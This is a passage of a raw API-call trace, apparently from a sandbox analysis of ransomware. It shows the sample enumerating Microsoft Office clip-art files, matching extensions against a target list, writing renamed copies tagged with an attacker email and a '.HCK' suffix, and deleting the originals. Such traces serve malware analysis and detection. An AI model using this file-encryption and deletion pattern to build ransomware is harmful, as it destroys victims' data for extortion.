lstrlenW (lpString=".docx") returned 5 [0233.456] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0233.456] lstrlenW (lpString=".pdf") returned 4 [0233.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString=".xls") returned 4 [0233.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.456] lstrlenW (lpString=".xlsx") returned 5 [0233.456] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0233.456] lstrlenW (lpString=".ppt") returned 4 [0233.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.456] lstrlenW (lpString=".zip") returned 4 [0233.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.456] lstrlenW (lpString=".rar") returned 4 [0233.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString=".bz2") returned 4 [0233.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString=".7z") returned 3 [0233.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.456] lstrlenW (lpString=".dbf") returned 4 [0233.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.456] lstrlenW (lpString=".1cd") returned 4 [0233.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.456] lstrlenW (lpString=".jpg") returned 4 [0233.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.457] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.457] lstrlenW (lpString="J0107148.WMF") returned 12 [0233.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.458] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=20136) returned 1 [0233.458] CloseHandle (hObject=0x4c8) returned 1 [0233.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220 [0233.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.458] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.458] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0233.459] GetLastError () returned 0x0 [0233.459] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x4ea8, lpOverlapped=0x0) returned 1 [0233.461] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x4eb0, lpOverlapped=0x0) returned 1 [0233.462] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.462] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.462] SetEndOfFile (hFile=0x548) returned 1 [0233.463] CloseHandle (hObject=0x548) returned 1 [0233.463] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.463] SetEndOfFile (hFile=0x4c8) returned 1 [0233.465] CloseHandle (hObject=0x4c8) returned 1 [0233.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0233.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.466] lstrlenW (lpString=".doc") returned 4 [0233.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.466] lstrlenW (lpString=".docx") returned 5 [0233.466] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0233.466] lstrlenW (lpString=".pdf") returned 4 [0233.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.466] lstrlenW (lpString=".xls") returned 4 [0233.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.466] lstrlenW (lpString=".xlsx") returned 5 [0233.466] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0233.466] lstrlenW (lpString=".ppt") returned 4 [0233.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.466] lstrlenW (lpString=".zip") returned 4 [0233.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.467] lstrlenW (lpString=".rar") returned 4 [0233.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString=".bz2") returned 4 [0233.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString=".7z") returned 3 [0233.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.467] lstrlenW (lpString=".dbf") returned 4 [0233.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.467] lstrlenW (lpString=".1cd") returned 4 [0233.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.467] lstrlenW (lpString=".jpg") returned 4 [0233.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.467] lstrlenW (lpString=".doc") returned 4 [0233.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString=".docx") returned 5 [0233.467] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0233.467] lstrlenW (lpString=".pdf") returned 4 [0233.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString=".xls") returned 4 [0233.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.467] lstrlenW (lpString=".xlsx") returned 5 [0233.467] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0233.467] lstrlenW (lpString=".ppt") returned 4 [0233.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.467] lstrlenW (lpString=".zip") returned 4 [0233.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.467] lstrlenW (lpString=".rar") returned 4 [0233.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString=".bz2") returned 4 [0233.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString=".7z") returned 3 [0233.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.467] lstrlenW (lpString=".dbf") returned 4 [0233.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.467] lstrlenW (lpString=".1cd") returned 4 [0233.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0233.468] lstrlenW (lpString=".jpg") returned 4 [0233.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.468] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.468] lstrlenW (lpString="J0107150.WMF") returned 12 [0233.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.469] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=13456) returned 1 [0233.469] CloseHandle (hObject=0x4c8) returned 1 [0233.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220 [0233.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.470] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.470] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0233.471] GetLastError () returned 0x0 [0233.471] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x3490, lpOverlapped=0x0) returned 1 [0233.472] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x34a0, lpOverlapped=0x0) returned 1 [0233.473] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.473] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.473] SetEndOfFile (hFile=0x548) returned 1 [0233.473] CloseHandle (hObject=0x548) returned 1 [0233.473] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.473] SetEndOfFile (hFile=0x4c8) returned 1 [0233.475] CloseHandle (hObject=0x4c8) returned 1 [0233.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0233.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.477] lstrlenW (lpString=".doc") returned 4 [0233.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.477] lstrlenW (lpString=".docx") returned 5 [0233.477] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.477] lstrlenW (lpString=".pdf") returned 4 [0233.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.477] lstrlenW (lpString=".xls") returned 4 [0233.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.477] lstrlenW (lpString=".xlsx") returned 5 [0233.477] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.477] lstrlenW (lpString=".ppt") returned 4 [0233.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString=".zip") returned 4 [0233.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.478] lstrlenW (lpString=".rar") returned 4 [0233.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString=".bz2") returned 4 [0233.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString=".7z") returned 3 [0233.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString=".dbf") returned 4 [0233.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString=".1cd") returned 4 [0233.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString=".jpg") returned 4 [0233.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString=".doc") returned 4 [0233.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString=".docx") returned 5 [0233.478] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.478] lstrlenW (lpString=".pdf") returned 4 [0233.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString=".xls") returned 4 [0233.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.478] lstrlenW (lpString=".xlsx") returned 5 [0233.478] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.478] lstrlenW (lpString=".ppt") returned 4 [0233.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString=".zip") returned 4 [0233.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.478] lstrlenW (lpString=".rar") returned 4 [0233.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString=".bz2") returned 4 [0233.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString=".7z") returned 3 [0233.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString=".dbf") returned 4 [0233.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString=".1cd") returned 4 [0233.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0233.478] lstrlenW (lpString=".jpg") returned 4 [0233.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.479] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.479] lstrlenW (lpString="J0107152.WMF") returned 12 [0233.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.479] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=22532) returned 1 [0233.479] CloseHandle (hObject=0x4c8) returned 1 [0233.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220 [0233.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.480] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.480] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0233.480] GetLastError () returned 0x0 [0233.480] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x5804, lpOverlapped=0x0) returned 1 [0233.650] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x5810, lpOverlapped=0x0) returned 1 [0233.651] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.651] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.651] SetEndOfFile (hFile=0x548) returned 1 [0233.873] CloseHandle (hObject=0x548) returned 1 [0233.908] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.908] SetEndOfFile (hFile=0x4c8) returned 1 [0233.910] CloseHandle (hObject=0x4c8) returned 1 [0233.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0233.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.911] lstrlenW (lpString=".doc") returned 4 [0233.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString=".docx") returned 5 [0233.911] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.911] lstrlenW (lpString=".pdf") returned 4 [0233.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString=".xls") returned 4 [0233.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.911] lstrlenW (lpString=".xlsx") returned 5 [0233.911] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.911] lstrlenW (lpString=".ppt") returned 4 [0233.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.911] lstrlenW (lpString=".zip") returned 4 [0233.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.911] lstrlenW (lpString=".rar") returned 4 [0233.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString=".bz2") returned 4 [0233.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString=".7z") returned 3 [0233.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.911] lstrlenW (lpString=".dbf") returned 4 [0233.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.911] lstrlenW (lpString=".1cd") returned 4 [0233.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.911] lstrlenW (lpString=".jpg") returned 4 [0233.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0233.911] lstrlenW (lpString=".doc") returned 4 [0233.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString=".docx") returned 5 [0233.911] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.911] lstrlenW (lpString=".pdf") returned 4 [0233.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.911] lstrlenW (lpString=".xls") returned 4 [0233.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.911] lstrlenW (lpString=".xlsx") returned 5 [0233.911] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.911] lstrlenW (lpString=".ppt") returned 4 [0233.911] lstrcmpiW (lpString1=".ppt", 